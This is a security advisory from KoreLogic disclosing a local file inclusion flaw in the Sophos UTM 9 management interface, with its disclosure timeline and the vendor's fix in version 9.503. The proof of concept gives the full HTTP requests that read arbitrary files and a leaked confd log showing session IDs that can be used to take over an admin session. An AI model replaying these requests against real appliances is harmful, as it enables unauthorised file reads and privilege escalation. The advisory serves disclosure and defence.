KL-001-2017-021 : Sophos UTM 9 Management Appplication Local File Inclusion

Title: Sophos UTM 9 Management Application Local File Inclusion
Advisory ID: KL-001-2017-021
Publication Date: 2017.10.24
Publication URL: https://www.korelogic.com/Resources/Advisories/KL-001-2017-021.txt


1. Vulnerability Details

     Affected Vendor: Sophos
     Affected Product: UTM 9
     Affected Version: 9.410
     Platform: Embedded Linux
     CWE Classification: CWE-538: File and Directory Information Exposure,
                         CWE-264: Permissions, Privileges, and Access Controls,
                         CWE-532: Information Exposure Through Log Files
     Impact: Information Disclosure
     Attack vector: HTTP

2. Vulnerability Description

     Any user is has log viewing rights provisioned can read
     arbitrary files from the local filesystem as a limited privilege
     user. This can be used to read the confd log file and obtain
     root privilege SID values.

3. Technical Description

     Any user who has permission to access the 'Logging & Reporting'
     functionality within the management application can read
     arbitrary files.

  POST /webadmin.plx HTTP/1.1
  Host: 1.3.3.7:4444
  Accept-Language: en-US,en;q=0.5
  X-Requested-With: XMLHttpRequest
  X-Prototype-Version: 1.5.1.1
  Content-Type: application/json; charset=UTF-8
  Content-Length: 313
  Cookie: SID=SoCKGdoKFmeobxZTEWDz
  DNT: 1
  Connection: close

  {"objs": [{"filename": "/var/log/confd.log", "FID": "log_download_single"}], "SID": "SoCKGdoKFmeobxZTEWDz", "browser":
"gecko", "backend_version": "2", "loc": "english", "_cookie": null, "wdebug": 0, "RID":
"1491835733989_0.7813499665507969", "current_uuid": "189fb61e-e01b-11da-8017-0014221e9eba", "ipv6": false}

  HTTP/1.1 200 OK
  Date: Mon, 10 Apr 2017 07:49:51 GMT
  Server: Apache
  Expires: Thursday, 01-Jan-1970 00:00:01 GMT
  Pragma: no-cache
  X-Frame-Options: SAMEORIGIN
  X-Content-Type-Option: nosniff
  X-XSS-Protection: 1; mode=block
  Vary: Accept-Encoding
  Connection: close
  Content-Type: application/json; charset=utf-8
  Content-Length: 605

  {"SID":"SoCKGdoKFmeobxZTEWDz","ipv6":false,"current_uuid":"189fb61e-e01b-11da-8017-0014221e9eba","browser":"gecko","RID":"1491835733989_0.7813499665507969","js":"if($(\"topbar_icon\")){$(\"topbar_icon\").src=\"core/img/topbar/topbar_user.png\";}toggle_who_is_watching(0);","backend_version":"2","loc":"english","globals_data":["SoCKGdoKFmeobxZTEWDz"],"globals":["SID"],"objs":[{"current_uuid":"189fb61e-e01b-11da-8017-0014221e9eba","FID":"log_download_single","filename":"/var/log/confd.log","js":"start_download('var/SoCKGdoKFmeobxZTEWDz/downloads/singlelogfile/confd-debug.log');"}],"_cookie":null,"wdebug":0}

     The start_download() function is JavaScript loaded into the
     browser. This function takes the given parameter and uses it
     to build the subsequent HTTP GET request.

  GET /var/SoCKGdoKFmeobxZTEWDz/downloads/singlelogfile/confd-debug.log HTTP/1.1
  Host: 1.3.3.7:4444
  User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.10; rv:52.0) Gecko/20100101 Firefox/52.0
  Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
  Accept-Language: en-US,en;q=0.5
  Referer: https://1.3.3.7:4444/
  Cookie: SID=SoCKGdoKFmeobxZTEWDz
  DNT: 1
  Connection: close
  Upgrade-Insecure-Requests: 1

  HTTP/1.1 200 OK
  Date: Mon, 10 Apr 2017 07:51:02 GMT
  Server: Apache
  X-Frame-Options: SAMEORIGIN
  X-Content-Type-Option: nosniff
  X-XSS-Protection: 1; mode=block
  Cache-Control: max-age=31536000
  Expires: Tue, 10 Apr 2018 07:51:02 GMT
  Vary: Accept-Encoding
  Connection: close
  Content-Type: text/plain; charset=utf-8
  Content-Length: 2595127

  2017:04:02-00:00:01 hostname confd[28056]: D Role::authenticate:185() => id="3106" severity="debug" sys="System"
sub="confd" name="authentication successful" user="system" srcip="127.0.0.1" sid="oLwZJzlZQcXRrgpDZtwv"
facility="system" client="ips-reporter.pl" call="new"<31>Apr  2 00:00:01 confd[28056]: D sys::AUTOLOAD:303() =>
id="3100" severity="debug" sys="System" sub="confd" name="external call" user="system" srcip="127.0.0.1"
facility="system" client="ips-reporter.pl" lock="none" method="get_SID"
  2017:04:02-00:00:01 hostname confd[28056]: D sys::AUTOLOAD:303() => id="3100" severity="debug" sys="System" sub="confd"
name="external call" user="system" srcip="127.0.0.1" facility="system" client="ips-reporter.pl" lock="none"
method="signal_unsubscribe"
  2017:04:02-00:00:01 hostname confd[28056]: D sys::AUTOLOAD:303() => id="3100" severity="debug" sys="System" sub="confd"
name="external call" user="system" srcip="127.0.0.1" facility="system" client="ips-reporter.pl" lock="none" method="logout"
  2017:04:02-00:00:01 hostname confd[28056]: D Session::terminate:290() => id="3100" severity="debug" sys="System"
sub="confd" name="closing session" user="system" srcip="127.0.0.1" sid="oLwZJzlZQcXRrgpDZtwv" facility="system"
client="ips-reporter.pl" call="logout" function="logout"
  2017:04:02-00:00:01 hostname confd[28056]: D sys::DESTROY:231() => id="3100" severity="debug" sys="System" sub="confd"
name="worker process exiting" user="system" srcip="127.0.0.1" facility="system" client="ips-reporter.pl"
  2017:04:02-00:00:01 hostname confd[28070]: D Role::authenticate:185() => id="3106" severity="debug" sys="System"
sub="confd" name="authentication successful" user="system" srcip="127.0.0.1" sid="sJpVhmspOPKYYxNAcfEj"
facility="system" client="spx-password-expire" call="new"<31>Apr  2 00:00:01 confd[28070]: D sys::AUTOLOAD:303() =>
id="3100" severity="debug" sys="System" sub="confd" name="external call" user="system" srcip="127.0.0.1"
facility="system" client="spx-password-expire" lock="none" method="get_SID"
  2017:04:02-00:00:01 hostname confd[28070]: D sys::AUTOLOAD:303() => id="3100" severity="debug" sys="System" sub="confd"
name="external call" user="system" srcip="127.0.0.1" facility="system" client="spx-password-expire" lock="none" method="get"
  2017:04:02-00:00:01 hostname confd[28070]: D sys::AUTOLOAD:303() => id="3100" severity="debug" sys="System" sub="confd"
name="external call" user="system" srcip="127.0.0.1" facility="system" client="spx-password-expire" lock="none"
method="logout"
  2017:04:02-00:00:01 hostname confd[28070]: D Session::terminate:290() => id="3100" severity="debug" sys="System"
sub="confd" name="closing session" user="system" srcip="127.0.0.1" sid="sJpVhmspOPKYYxNAcfEj" facility="system"
client="spx-password-expire" call="logout" function="logout"
  2017:04:02-00:00:02 hostname confd[28070]: D sys::DESTROY:231() => id="3100" severity="debug" sys="System" sub="confd"
name="worker process exiting" user="system" srcip="127.0.0.1" facility="system" client="spx-password-expire"
  2017:04:02-00:00:01 hostname confd[28083]: D Role::authenticate:185() => id="3106" severity="debug" sys="System"
sub="confd" name="authentication successful" user="system" srcip="127.0.0.1" sid="bgpZDQBWHcNGvvQKTjPj"
facility="system" client="admin-reporter.pl" call="new"<31>Apr  2 00:00:02 confd[28083]: D sys::AUTOLOAD:303() =>
id="3100" severity="debug" sys="System" sub="confd" name="external call" user="system" srcip="127.0.0.1"
facility="system" client="admin-reporter.pl" lock="none" method="get_SID"
  2017:04:02-00:00:01 hostname confd[28086]: D Role::authenticate:185() => id="3106" severity="debug" sys="System"
sub="confd" name="authentication successful" user="system" srcip="127.0.0.1" sid="BXeDpxEvboHeDEmaaHEY"
facility="system" client="vpnreporter" call="new"<31>Apr  2 00:00:02 confd[28086]: D sys::AUTOLOAD:303() => id="3100"
severity="debug" sys="System" sub="confd" name="external call" user="system" srcip="127.0.0.1" facility="system"
client="vpnreporter" lock="none" method="get_SID"
  2017:04:02-00:00:01 hostname confd[28088]: D Role::authenticate:185() => id="3106" severity="debug" sys="System"
sub="confd" name="authentication successful" user="system" srcip="127.0.0.1" sid="SBggtglcePoJTWtmkIMO"
facility="system" client="websecreporter" call="new"<31>Apr  2 00:00:02 confd[28088]: D sys::AUTOLOAD:303() => id="3100"
severity="debug" sys="System" sub="confd" name="external call" user="system" srcip="127.0.0.1" facility="system"
client="websecreporter" lock="none" method="get_SID"
  2017:04:02-00:00:02 hostname confd[28086]: D sys::AUTOLOAD:303() => id="3100" severity="debug" sys="System" sub="confd"
name="external call" user="system" srcip="127.0.0.1" facility="system" client="vpnreporter" lock="none"
method="signal_subscribe"
  2017:04:02-00:00:02 hostname confd[28083]: D sys::AUTOLOAD:303() => id="3100" severity="debug" sys="System" sub="confd"
name="external call" user="system" srcip="127.0.0.1" facility="system" client="admin-reporter.pl" lock="none"
method="signal_unsubscribe"
  2017:04:02-00:00:02 hostname confd[28088]: D sys::AUTOLOAD:303() => id="3100" severity="debug" sys="System" sub="confd"
name="external call" user="system" srcip="127.0.0.1" facility="system" client="websecreporter" lock="none"
method="signal_subscribe"
  2017:04:02-00:00:02 hostname confd[28083]: D sys::AUTOLOAD:303() => id="3100" severity="debug" sys="System" sub="confd"
name="external call" user="system" srcip="127.0.0.1" facility="system" client="admin-reporter.pl" lock="none"
method="logout"
  2017:04:02-00:00:02 hostname confd[28083]: D Session::terminate:290() => id="3100" severity="debug" sys="System"
sub="confd" name="closing session" user="system" srcip="127.0.0.1" sid="bgpZDQBWHcNGvvQKTjPj" facility="system"
client="admin-reporter.pl" call="logout" function="logout"
  ...
  ...

     The logging of 'sid' values is also dangerous because it
     leaks session identifiers who may be of higher privilege. A
     'sid' for the admin account can be used to change the root
     and loginuser passwords.

4. Mitigation and Remediation Recommendation

     The vendor has addressed this vulnerability in version 9.503. Release notes and download instructions can be found at:
     https://community.sophos.com/products/unified-threat-management/b/utm-blog/posts/utm-up2date-9-503-released

5. Credit

     This vulnerability was discovered by Matt Bergin (@thatguylevel)
     of KoreLogic, Inc.

6. Disclosure Timeline

     2017.07.21 - KoreLogic submits vulnerability details to Sophos.
     2017.07.21 - Sophos acknowledges receipt.
     2017.09.01 - 30 business days have elapsed since the vulnerability
                  was reported to Sophos.
     2017.09.15 - KoreLogic requests an update on the status of this
                  and other vulnerabilities reported to Sophos.
     2017.09.18 - Sophos informs KoreLogic that this issue has been
                  remediated in release 9.503 for UTM.
     2017.10.24 - KoreLogic public disclosure.

7. Proof of Concept

     See 3. Technical Description.


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KoreLogic, Inc. and are licensed under a Creative Commons
Attribution Share-Alike 4.0 (United States) License:
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